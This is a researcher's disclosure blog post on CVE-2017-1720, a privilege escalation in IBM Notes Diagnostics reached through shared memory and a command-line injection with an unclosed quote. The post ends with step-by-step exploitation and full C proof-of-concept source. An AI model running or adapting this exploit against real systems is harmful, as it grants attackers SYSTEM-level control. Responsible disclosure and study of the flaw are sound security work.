This is the second blog post in a series documenting various bugs found in installed software during customer engagements. Vulnerabilities will be published, when the vendor has provided fixes, or our deadline for the vendor to take action expires. This process is aligned with the Improsec Responsible Disclosure Policy.
In this blog post I will tend to be a bit verbose and give some insights into the process. Concrete exploitation steps and code is listed at the bottom.
CVE-ID: CVE-2017-1720
IBM Bulletins:
- Security Bulletin: IBM Client Application Privilege Escalation in IBM Notes Diagnostics service
- Security Bulletin: IBM Notes Privilege Escalation in IBM Notes Diagnostics service
This post references information available in my previous post on IBM Notes Diagnostics.
Quite a bit of reversing was involved in writing the following code, and as some time has elapsed between submitting the vulnerability to IBM and the fix being provided, I have tried my utmost to recall the process.
After looking at IBM Notes Diagnostics from the outside, using only Procmon and the command line to learn what I needed, I decided to take a closer look at the communication between the user process and the SYSTEM process.
From Process Explorer I could see that the SYSTEM process had handles open on some sections without any permissions set.
I opened nsd.exe up with Ida Pro and looked at how these sections were used. After some reversing it became clear that they were the primary means of communication (there’s also named pipes involved) between the user process and the SYSTEM process.
When the user invokes nsd.exe the basic steps followed in most cases are the following:
The command line and some auxiliary information is written to the shared memory sections following some protocol. (The exploit code is based on superficial reversing of the data structures involved, the service might be unstable after running an exploit.)
After writing the data, the user process informs the SYSTEM process that data is available, by issuing a service control code based on the data from step 1.
The SYSTEM process creates a new command line based on the supplied command line with some added parameters, and starts a new instance of nsd.exe (running as SYSTEM).
This new process handles the given tasks and exits upon completion.
Letting the user directly affect the command line of the new SYSTEM process without any validation proves to be a poor strategy.
One of the parameters supplied to the new instance of nsd.exe informs that it is running in a server context, which affects how it treats the other parameters. Getting rid of that would allow me to reach some code paths not expected to be reached from the SYSTEM context.
By supplying the last parameter in my command line string as an “-log” parameter, followed by an unclosed “, the final command line would end up looking something like this:
Nsd.exe -myparam 1 -myparam 2 -log “ -theirparam
By having the unclosed string at the end, the parsing code for the command line in the new nsd.exe instance would treat their intended parameter as a broken path for the “-log” parameter.
With this out of the way, I went looking for interesting code paths. After looking through references to CreateProcess, ShellExecute and such, I focused on a call to CreateProcess where the application name was built dynamically.
Some more reversing revealed that it was built using input from a user controlled ini file. It seems it is used to restart a failed Notes instance based on a user specified program folder.
This functionality is not supposed to be run from the SYSTEM context, but the “-log” trick above makes the process believe that it is a regular user process and behaves as such.
When I want to reach a specific part of the code, I usually follow an iterative process where I map the path I wish to take, and then debug through the program until it veers of the path. I then see if I can influence that decision and retry.
Most of the decisions that influenced my intended path were based on large offsets in an unknown structure. Instead of trying to layout and trace the use of the specific structure, I took a shortcut by searching for other uses of these mostly unique offsets.
They almost all lead me to the command line parsing function, a large switch statement.
From that switch, it could be determined which parameters would set the needed values correctly.
With this settled, all I had to do was to place a malicious executable as Notes.exe in a folder referenced by the ini file, and execute my code.
Recommendations
Apply the patch/fix provided by IBM in the related Security Bulletin (see above) and/or disable the "IBM Notes Diagnostics" service.
TL;DR
Exploitation steps:
1. Compile the following code, and link it statically as notes.exe:
#include <windows.h>
int main()
{
WinExec("cmd /c whoami > c:\whoami.txt", 0);
return 0;
}
2. Change the username in the two strings with AppData paths, and compile the following code, and link it statically as exploit.exe:
#include <windows.h>
CHAR sharedMem[] = "Global\IRIS$NSDSVC$128";
CHAR sharedMemEx[] = "Global\IRIS$NSDSVCEXT2$128";
CHAR svcName[] = "IBM Notes Diagnostics";
int main()
{
HANDLE hMapFile;
char* pBuf;
char* pBufData;
hMapFile = OpenFileMappingA( 0x0F001F, FALSE, sharedMem);
pBuf = (char*)MapViewOfFile(hMapFile, 0x0F001F, 0, 0, 0);
pBufData = pBuf + 0x10B00;
UINT32 count, tmp, argNext;
count = 0;
while (count <= 0x80) {
tmp = count * 0x216;
if (*(pBuf + tmp + 0x20E) == 1) {
pBuf = tmp + pBuf;
argNext = count + 0x80;
break;
}
count++;
}
DWORD* ptr = (DWORD*)pBuf;
ptr[0] = 1;
ptr = (DWORD*)(pBuf+0x20E);
ptr[0] = 0;
strcpy(pBuf + 4, "c:\users\limiteduser\appdata\local\ibm\notes\data\notes.ini");
UnmapViewOfFile(pBuf);
CloseHandle(hMapFile);
hMapFile = OpenFileMappingA( 0x0F001F, FALSE, sharedMemEx);
pBuf = (char*)MapViewOfFile(hMapFile, 0x0F001F, 0, 0, 0);
tmp = (argNext - 0x80) * 0x401;
pBuf = tmp + pBuf;
strcpy(pBuf, "-internal -hang -dumpandkill -termstatus 5 -restartClient 14 -ini c:\users\limiteduser\appdata\local\ibm\notes\data\notes.ini -log "");
UnmapViewOfFile(pBuf);
CloseHandle(hMapFile);
SC_HANDLE schSCManager;
schSCManager = OpenSCManager( NULL, NULL, 0x20000);
SC_HANDLE schService;
SERVICE_STATUS_PROCESS ssp;
schService = OpenServiceA( schSCManager, svcName, 0x100);
ControlService(schService, argNext, (LPSERVICE_STATUS)&ssp);
return 0;
}
3. Run IBM Notes client at least once
4. Run the following commands:
mkdir c:test
mkdir c:testframework
modify the line containing "NotesProgram" to "NotesProgram=c:test" in "%USERPROFILE%AppDataLocalIBMNotesDatanotes.ini
copy notes.exe c:test
5. Run IBM Notes client
6. Run exploit.exe